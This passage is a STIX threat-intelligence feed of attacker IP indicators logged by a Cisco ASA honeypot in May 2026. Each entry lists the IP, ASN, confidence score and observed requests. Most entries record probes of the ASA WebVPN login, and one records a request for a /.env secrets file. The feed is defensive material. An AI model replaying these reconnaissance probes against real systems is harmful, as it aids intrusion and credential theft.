      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T10:43:34.658Z",
          "last_seen": "2026-05-07T10:43:34.658Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--0c1bb016-fd34-425a-8bf9-55c00ecf461f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T10:45:45.003Z",
          "last_seen": "2026-05-07T10:45:45.003Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /gw3K HTTP/1.1\" 404 - geo: US; ASN 63949 (Akamai Connected Cloud)",
      "id": "indicator--077e58e8-4610-4450-91bb-45f53a5b4b31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '96.126.104.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T11:13:29.823Z",
          "last_seen": "2026-05-07T11:13:29.823Z",
          "country": "United States",
          "country_code": "US",
          "asn": 63949,
          "as_org": "Akamai Connected Cloud",
          "event_types": [
            "\"GET /gw3K HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--edf90763-0602-4b6f-8ed4-21c5b530db77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-07T12:16:09.458Z",
          "last_seen": "2026-05-24T01:03:22.455Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--4c087cea-7d19-42ee-8bdf-e442c439a147",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-07T11:59:56.050Z",
          "last_seen": "2026-05-26T03:42:51.817Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4faa6172-98c4-496a-8811-1d7b794ad457",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T11:27:32.344Z",
          "last_seen": "2026-05-22T15:01:45.032Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--de7e3b37-ea0a-430d-86ab-a9338c89f1e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-07T11:25:09.314Z",
          "last_seen": "2026-05-23T07:05:09.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ce7384d4-b814-47fa-bdde-bff4d97d39d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-07T11:55:57.728Z",
          "last_seen": "2026-05-16T02:34:54.610Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f6faa267-102d-4e48-a84b-77786be6f3ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T11:23:26.930Z",
          "last_seen": "2026-05-07T11:23:36.748Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T12:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0b652048-d75d-480f-9e8b-7035f371eb43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T12:20:01.000Z",
      "valid_until": "2026-06-08T12:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-07T11:27:42.092Z",
          "last_seen": "2026-05-27T20:08:22.589Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--6a4e9fea-b88a-4ebe-9313-6b0fd8268180",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:20:10.000Z",
      "valid_until": "2026-06-08T13:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-07T12:43:26.992Z",
          "last_seen": "2026-05-25T22:17:42.094Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--2e09a5d2-d7fe-4f42-963c-df21ff8a88c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:20:10.000Z",
      "valid_until": "2026-06-08T13:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-07T12:57:16.406Z",
          "last_seen": "2026-05-25T18:14:31.003Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b620f698-d227-4a8b-bc98-f8240a88caf8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:20:10.000Z",
      "valid_until": "2026-06-08T13:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-07T12:31:59.928Z",
          "last_seen": "2026-05-27T12:50:06.648Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--044277f5-c53b-4d35-893c-293f1eca69c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:20:10.000Z",
      "valid_until": "2026-06-08T13:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-07T12:22:40.196Z",
          "last_seen": "2026-05-20T09:23:49.389Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--386b7c3e-6c1c-4fdf-a7db-72af9295c9e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:20:11.000Z",
      "valid_until": "2026-06-08T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-07T13:21:59.930Z",
          "last_seen": "2026-05-20T21:37:07.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--c89dc0ff-63bb-4599-867a-c7452e037c2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '209.38.211.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:20:11.000Z",
      "valid_until": "2026-06-08T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T13:23:49.240Z",
          "last_seen": "2026-05-07T13:23:59.046Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T14:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:20:11.000Z",
      "valid_until": "2026-06-08T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T13:41:44.333Z",
          "last_seen": "2026-05-07T13:41:47.335Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6843fa01-6bcc-4369-86a9-4fc4d9510a47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.222.129.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:20:04.000Z",
      "valid_until": "2026-06-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T00:58:26.320Z",
          "last_seen": "2026-05-08T00:58:26.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f59930f8-fc93-4b71-a568-ab2e91cd143b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.82.198.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:20:04.000Z",
      "valid_until": "2026-06-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T01:00:26.262Z",
          "last_seen": "2026-05-08T01:00:29.265Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--9dde796b-3aa0-481f-a754-1c53b8d0e3d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.201.224.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:20:04.000Z",
      "valid_until": "2026-06-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T01:00:06.153Z",
          "last_seen": "2026-05-08T01:00:06.153Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--8f3511a6-ff03-4daa-adf3-4ce5f82452de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:20:10.000Z",
      "valid_until": "2026-06-09T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T02:03:16.408Z",
          "last_seen": "2026-05-08T03:52:09.907Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.env HTTP/1.1\" 404 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--8c3ec404-ba58-4068-b6e4-3e227995ce94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
